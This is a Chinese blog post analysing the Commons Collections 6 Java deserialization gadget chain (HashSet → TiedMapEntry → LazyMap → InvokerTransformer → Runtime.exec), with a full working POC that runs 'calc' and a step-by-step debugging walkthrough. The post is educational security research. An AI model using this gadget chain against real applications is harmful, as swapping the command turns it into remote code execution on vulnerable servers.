Java安全之Commons Collections6分析
Java安全之Commons Collections6分析
0x00 前言
其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException。
0x01 POC分析
这里还是去简化一下POC代码,因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
            Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,Testtransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
            lazyMap.remove("test1");
            //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
            Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(Testtransformer, transformers);
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            objectOutputStream.writeObject(hashSet);
            objectOutputStream.close();
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
            objectInputStream.readObject();
    }
}
以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。

能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
这段代码也是在构造CC5链中出现的,将map和LazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntry的getValue就会在getValue内部去调用get方法。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
 //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
这一步里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.remove将test1给移除掉将不会进入到该判断语句里面去。

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
这一段代码。
0x02 POC调试
在readObject复写点打个断点进行调试,也就是Hashset的readObject。

在Hashset的readObject方法中,回去调用map的put方法。这里的map为Hashmap的对象,所以这里调用的是Hashmap的put方法,跟进一下该方法。

而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。

跟进到方法里面会发现,方法内部还会去调用key的hashcode,而这里的key为TiedMapEntry的实例化对象。调用的则是TiedMapEntry的hashcode。跟进一下hashcode方法。

在此处就可以看到hashcode还会去调用getValue方法,下面的内容其实就和CC5的利用链一样了。
来到getValue看看

这里就会去调用this.map.get()方法,this.map是LazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
为了更清晰整一条利用链,再跟进一下LazyMap的get方法。

这里在前面提到过,需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。
其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。
利用链
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec
0x03 结尾
本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。
Java安全之Commons Collections6分析的更多相关文章
- Java安全之Commons Collections1分析(二)
		
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
 - Java安全之Commons Collections1分析(一)
		
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
 - Java安全之Commons Collections1分析前置知识
		
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
 - Java安全之Commons Collections1分析(三)
		
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
 - Java安全之Commons Collections3分析
		
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
 - Java安全之Commons Collections2分析
		
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
 - Java安全之Commons Collections5分析
		
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
 - Java安全之Commons Collections7分析
		
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
 - ref:Java安全之反序列化漏洞分析(简单-朴实)
		
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
 
随机推荐
- Guava中这些Map的骚操作,让我的代码量减少了50%
			
原创:微信公众号 码农参上,欢迎分享,转载请保留出处. Guava是google公司开发的一款Java类库扩展工具包,内含了丰富的API,涵盖了集合.缓存.并发.I/O等多个方面.使用这些API一方面 ...
 - EXCEL数据处理-经纬度转换:度分秒转换为小数
			
背景:工作中遇见此问题,整理了一下,花点时间随便总结下,希望能帮助到大家! 业务描述:红框内110°10′15"这种格式的经度,我想转换为110.36534这种格式. 步骤: 1.现将110 ...
 - python神器 Jupyter Notbook
			
python神器 Jupyter Notbook 简介 Jupyter Notebook是基于网页的用于交互计算的应用程序.其可被应用于全过程计算:开发.文档编写.运行代码和展示结果. Jupyter ...
 - Fiddler修改接口下行数据,mock测试
			
应用场景:在不修改服务器代码的情况下,临时改变接口下行数据值,便于查看界面效果.. 使用工具:Fiddler 使用方法:连接Fiddler,使用代理. Fiddler配置方法如下: 1.定位到Fidd ...
 - python练习册 每天一个小程序 第0011题
			
1 # -*-coding:utf-8-*- 2 3 4 def test(content): 5 flag = 0 6 with open('filtered_words.txt') as fp: ...
 - Python datetime获取当前年月日时分秒
			
from datetime import datetime now_time = datetime.now() str_time = now_time.strftime("%Y-%m-%d ...
 - flask 数据库一节笔记
			
笔记一:os.path的用法:1. os.path.dirname(__file__) 返回当前脚本的执行路径,__file__为固定参数2. os.path.abspath(file) ...
 - 【Mybatis】SQL语句的解析执行过程原理
			
sqlSession简单介绍 拿到SqlSessionFactory对象后,会调用SqlSessionFactory的openSesison方法,这个方法会创建一个Sql执行器(Executor),这 ...
 - linux静态IP配置
			
网卡配置文件:/etc/sysconfig/network-scripts/ifcfg-ens33 ==================VMware桥接静态外网==================== ...
 - 四种类型的数据节点 Znode ?
			
1.PERSISTENT-持久节点 除非手动删除,否则节点一直存在于 Zookeeper 上 2.EPHEMERAL-临时节点 临时节点的生命周期与客户端会话绑定,一旦客户端会话失效(客户端与 zoo ...